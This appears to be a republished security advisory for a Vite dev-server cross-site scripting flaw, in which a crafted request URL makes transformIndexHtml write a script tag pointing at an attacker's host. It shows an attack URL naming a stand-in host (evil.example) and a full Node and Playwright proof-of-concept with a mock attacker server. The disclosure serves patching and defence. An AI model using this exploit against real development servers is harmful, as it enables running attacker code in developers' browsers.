
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: >= 8.3.0, <= 8.3.2
Patched in 8.3.3
Vulnerable: >= 8.2.0, <= 8.2.3
Patched in 8.2.4
Vulnerable: >= 8.0.0, <= 8.1.5
Patched in 8.1.6
Vulnerable: >= 7.0.0, <= 7.3.6
Patched in 7.3.7
Vulnerable: <= 6.4.3
Patched in 6.4.4
Vulnerable: <= 1.0.0
Patched in 1.1.0
Details
When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.
Only apps that match the following conditions are affected:
server.transformIndexHtml: this is normally used for server.middlewareMode: true or appType: 'custom'. The internal call for appType: 'spa' and appType: 'mpa' does not match this.Vite's SSR guide for 8.2.1 documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform:
const url = req.originalUrl
template = await vite.transformIndexHtml(url, template)
For a development server at http://localhost:5173, an attacker can send this URL:
http://localhost:5173//evil.example/payload.js?/../../package.json
In Vite 8.2.1, createDevHtmlTransformFn and getHtmlFilename in indexHtml.ts use the request URL as both the transform path and the input to path.join. The value passed to path.join still includes its query text.
Chromium preserves /../../package.json because it follows ? and is therefore query text. Vite treats the same characters as filesystem path components, so the .. components resolve the derived filename to the existing project package.json.
The existing file branch in indexHtml.ts checks that filename with fs.existsSync, then preserves the htmlPath supplied by the attacker as proxyModuleUrl. The inline module rewrite in the same file writes that value into the generated src:
<script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script>
The generated value is a valid URL. Its leading // tells the browser to request the module from evil.example using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page.
import { createServer as createHttpServer } from 'node:http'
import { createRequire } from 'node:module'
import { dirname, join } from 'node:path'
import { fileURLToPath, pathToFileURL } from 'node:url'
const directory = dirname(fileURLToPath(import.meta.url))
const require = createRequire(join(directory, 'package.json'))
const { chromium } = require('playwright-chromium')
const viteModule = await import(
pathToFileURL(require.resolve('vite')).href
)
const createViteServer =
viteModule.createServer ?? viteModule.default.createServer
// This loopback server stands in for a separately hosted attacker website.
const attackerPort = 4173
const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json`
const html = '<script type="module">document.body.textContent = "Vite app"</script>'
const listen = (server, port = 0) =>
new Promise((resolve, reject) => {
server.once('error', reject)
server.listen(port, '127.0.0.1', () => {
server.off('error', reject)
resolve(server.address().port)
})
})
const close = (server) =>
new Promise((resolve, reject) => {
server.close((error) => (error ? reject(error) : resolve()))
})
let attackerRequest = null
const attacker = createHttpServer((request, response) => {
attackerRequest = request.url
response.writeHead(200, {
'access-control-allow-origin': '*',
'content-type': 'text/javascript',
})
response.end(
"document.documentElement.dataset.viteXssPoc = 'executed'",
)
})
const vite = await createViteServer({
appType: 'custom',
configFile: false,
root: directory,
server: {
hmr: false,
middlewareMode: true,
watch: null,
},
})
const application = createHttpServer((request, response) => {
vite.middlewares(request, response, async (error) => {
if (error) {
response.destroy(error)
return
}
try {
const transformed = await vite.transformIndexHtml(request.url, html)
response.writeHead(200, { 'content-type': 'text/html' })
response.end(transformed)
} catch (transformError) {
response.destroy(transformError)
}
})
})
await listen(attacker, attackerPort)
const applicationPort = await listen(application)
const browser = await chromium.launch({ headless: true })
try {
const page = await browser.newPage()
await page.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`)
await page.waitForFunction(
() => document.documentElement.dataset.viteXssPoc === 'executed',
)
console.log(`attacker request: ${attackerRequest}`)
console.log('JavaScript from the attacker server executed in the Vite page')
} finally {
await browser.close()
await close(application)
await vite.close()
await close(attacker)
}
Observed output on Vite 8.2.1:
attacker request: /payload.js?/../../package.json?html-proxy&index=0.js
JavaScript from the attacker server executed in the Vite page
EPSS, exploit probability
Low0.47%
estimated chance of real-world exploitation in the next 30 days, higher than 39.4% of every CVE FIRST.org scores
Refreshed 10/21/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.